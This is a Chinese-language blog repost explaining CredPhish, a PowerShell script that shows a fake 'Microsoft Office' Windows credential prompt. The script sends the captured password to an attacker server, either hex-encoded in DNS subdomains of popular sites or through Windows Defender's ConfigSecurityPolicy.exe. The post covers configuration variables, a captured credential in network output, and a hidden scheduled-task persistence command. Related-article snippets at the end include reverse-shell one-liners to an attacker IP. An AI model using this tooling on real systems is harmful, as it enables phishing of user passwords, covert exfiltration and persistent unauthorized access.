如何使用 PowerShell 钓鱼获取用户密码

VSole2021-08-04 23:11:00

欺骗凭证提示是一种有效的权限提升和横向移动技术。在 Windows 环境中遇到 Outlook、VPN 和各种其他身份验证协议看似随机的密码提示并不罕见。攻击者将滥用 Windows 和 PowerShell 中内置的功能来调用凭据弹出窗口来获取用户密码。 

根据MITRE ATT&CK 框架的定义 : 

当执行需要额外权限的程序时……操作系统通常会提示用户提供正确的凭据以授权任务的提升权限。攻击者可能会模仿常见的操作系统组件,通过看似合法的提示来提示用户输入凭据……通过 PowerShell 等语言。” 

什么是 CredPhish? 

CredPhish 是一个 PowerShell 脚本,旨在调用凭据提示和泄露密码。它依靠CredentialPicker API 来收集用户密码,依靠 PowerShell 的 Resolve-DnsName 进行 DNS渗漏,并依靠Windows Defender的 ConfigSecurityPolicy.exe 来执行任意 GET 请求。 

下面是 CredPhish 的一个例子。请注意凭据在 Windows 安全提示中提交后立即传送到攻击者的 DNS 服务器。 


默认情况下,CredPhish 将使用 Resolve-DnsName(PowerShell 内置的 DNS 解析器)来窃取凭据。它将凭据中的每个字符转换为其各自的十六进制值,将转换后的值分解为预定义的块,并将这些块放入流行网站的子域中。以下屏幕截图是十六进制形式的泄露凭据示例。请注意 google.com 和 office.com 子域中“tokyoneon”(746f6b796f6e656f6e) 的十六进制值。 


在解析 DNS 查询之前,DNS 服务器将剥离十六进制子域以避免创建数十个错误响应。在下面的 Wireshark 屏幕截图中,请注意“Answers”字段不再包含子域并成功解析为 Google 的 IP 地址之一。 


CredPhish.ps1 配置 

我将credphish.ps1设计  为一个独立的脚本,不需要 Import-Module,这是一个常见的妥协指标。可配置选项以变量的形式位于 PS1 脚本的顶部,以避免冗长的命令行参数。 

第一行是最重要的,因为它定义了泄露数据的交付位置(即攻击者的 Kali 服务器)。 

# exfil 地址  
$exfilServer  =  "192.168.56.112" 

接下来,几个变量定义了提示将如何呈现给毫无戒心的目标用户。在 $promptCaption 定义了“应用程序”请求用户证书(例如,“微软办公室”)。并且 $promptMessage 通常指定与请求关联的帐户。 

# prompt 
$targetUser  =  $ env : username 
$companyEmail  =  " blackhillsinfosec.com "
 $promptCaption  =  " Microsoft Office "
 $promptMessage  =  " Connecting to: $targetUser @ $companyEmail "
 $maxTries  =  1  # 调用提示的最大次数
$ delayPrompts  =  2  # 提示之间的秒数
$validateCredentials  =  $ false  # 如果凭据有效,则中断 $maxTries 并立即删除

该 $maxTries 变量定义了在目标提交凭据之前提示出现的次数。为避免怀疑, 1 是默认值。该 $delayPrompts 变量定义了每个提示之间的秒数(如果 $maxTries 大于 1)。并且 $validateCredentials,默认情况下禁用,将尝试Start-Process 在提升的上下文中使用本地验证提交的凭据 。如果启用并验证凭据, $maxTries 则会被忽略,并且数据会立即发送到攻击者的服务器。 

过滤方法 

如前所述,DNS 外泄是将密码传送到攻击者服务器的默认方法。                        $exfilDomains 列表包括用于 DNS 查询并随机选择的各种域。该                     $subdomainLength 变量决定了每个子域的所需长度。 

#域名解析
# 在kali中启动dns服务器:python3 /path/to/credphish/dns_server.py
$ enableDnsExfil  =  $真
$ exfilDomains  = @(' .microsoft.com ', ' .google.com ', ' .office.com ', ' .live.com ')的DNS exfil#域
$ randomDelay  =  GET随机 -最小5  -最大20  # dns 查询之间的延迟
$subdomainLength  =  6  # 子域中的最大字符数。必须是 2-60 之间的偶数,否则查询会中断

要拦截使用 DNS 过滤功能发送的凭据,请 在 Kali 中执行 dns_server.py脚本。按 Ctrl + c 终止 DNS 服务器,它将以明文形式重建拦截的凭据。 

CredPhish 中内置的另一种渗漏方法是 HTTP 请求方法。它利用Windows Defender 中包含的二进制文件“ ConfigSecurityPolicy.exe ”向攻击者的服务器提供凭据。将 $enableHttpExfil 变量设置 $true 为启用它。 

# http 
# 在 kali 中启动 http 服务器:python3 -m http.server 80
 $enableHttpExfil  =  $false 
$ConfigSecurityPolicy  =  " C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe "

要拦截使用 发送的凭据 ConfigSecurityPolicy.exe,请在 Kali 中启动一个简单的 HTTP 服务器以在日志中捕获它们。 

在网络上,泄露的凭据将显示如下:

GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1  
Accept: */*  
UA-CPU: AMD64  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla /4.0(兼容;MSIE 7.0;Windows NT 10.0;Win64;x64;Trident/7.0;.NET4.0C;.NET4.0E) 
主机:192.168.56.104 
连接:Keep-Alive 
 

由于凭证在传输前经过 URL 编码,因此使用 Burp 的解码器模块观察数据或使用 Python 的 urllib 库通过命令行进行 URL 解码。 

>>> from  urllib.parse  import unquote 

>>>  unquote ("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D")  '/DESKTOP-S4DAAF0[tokyoneon:# !Extr3m3Ly_& ecuRe-P@ssw %rD#]' 
 

CredPhish.ps1 执行 

要快速测试 CredPhish,请将 移动 credphish.ps1 到目标 Windows 10 计算机并使用 PowerShell 执行它。 

 一种持久的执行方法可能涉及 Task Schedtokyoneon //uler,它是 Windows 的一个组件,它提供了以预定义的时间间隔安排脚本执行的能力。下面的 schtasks 示例将credphish.ps1 每 2 分钟执行 一次。 

schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1" 
powershelldns
本作品采用《CC 协议》,转载必须注明作者和本文链接
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。telnet反弹nc -lvvp 444 #攻击者主机上执行监听rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行。监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 nc反弹nc -lvvp portnc -e /bin/bash x.x.x.x port
刚入行时在网上搜各种工具使用技巧及方法,通过别人的经验提高自身的技巧,然后再拿个小本本记录,这是每个网安人初入行时的必备姿势,那么今天丹丹就拿起先前做过的笔记和网上别人的经验做一个合集,把大部分使用到的工具技巧整理成册,后续自己以及大家查阅,如总结不到位的地方希望海涵,那现在就开始吧。。。。。
欺骗凭证提示是一种有效的权限提升和横向移动技术。在 Windows 环境中遇到 Outlook、VPN 和各种其他身份验证协议看似随机的密码提示并不罕见。
渗透测试工具收集整理
是一套用于对域名进行侦察的工具。该程序会检查 SPF 和 DMARC 记录中是否存在允许欺骗的弱配置。用于发现计算机网络上的主机和服务,从而构建网络的“地图”。自动渗透测试侦察扫描仪。不受 API 限制,因为它使用 Selenium 检测浏览器。输出报告以帮助关联跨站点的目标。是一个 python 脚本,它检查电子邮件帐户是否在数据泄露中受到损害,如果电子邮件帐户受到损害,它会继续查找受损害帐户的密码。LinkedIn 枚举工具,通过搜索引擎抓取从组织中提取有效员工姓名。
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。
前言实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,
PowerSploit这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。Empire基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭据信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
VSole
网络安全专家